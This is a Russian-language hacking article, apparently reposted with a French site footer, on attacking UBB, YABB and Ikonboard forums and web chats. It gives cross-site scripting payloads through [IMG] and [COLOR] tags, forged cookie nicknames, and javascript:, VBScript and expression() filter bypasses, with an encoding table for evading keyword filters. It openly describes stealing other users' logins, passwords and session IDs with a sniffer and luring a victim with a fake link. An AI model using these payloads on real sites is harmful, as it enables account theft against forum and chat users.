    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) ou background:expression(alert())
    Табличка часто применяемых кодов:
    Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    Et Et Et Et Et

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Il ne serait pas inutile que vos amis découvrent cette information, partagez l'article avec eux!

    Développer / Réduire Développer / Réduire la fenêtre de commentaires

    Commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans des conditions de liberté d'expression et d'anonymat fournies par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant tout le monde peut publier des articles.
    Essayez-le d'abord!
    Écrire un article
    Vous aimez ça? Abonnez-vous aux flux RSS,
    être le premier à recevoir des informations
    à propos de tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: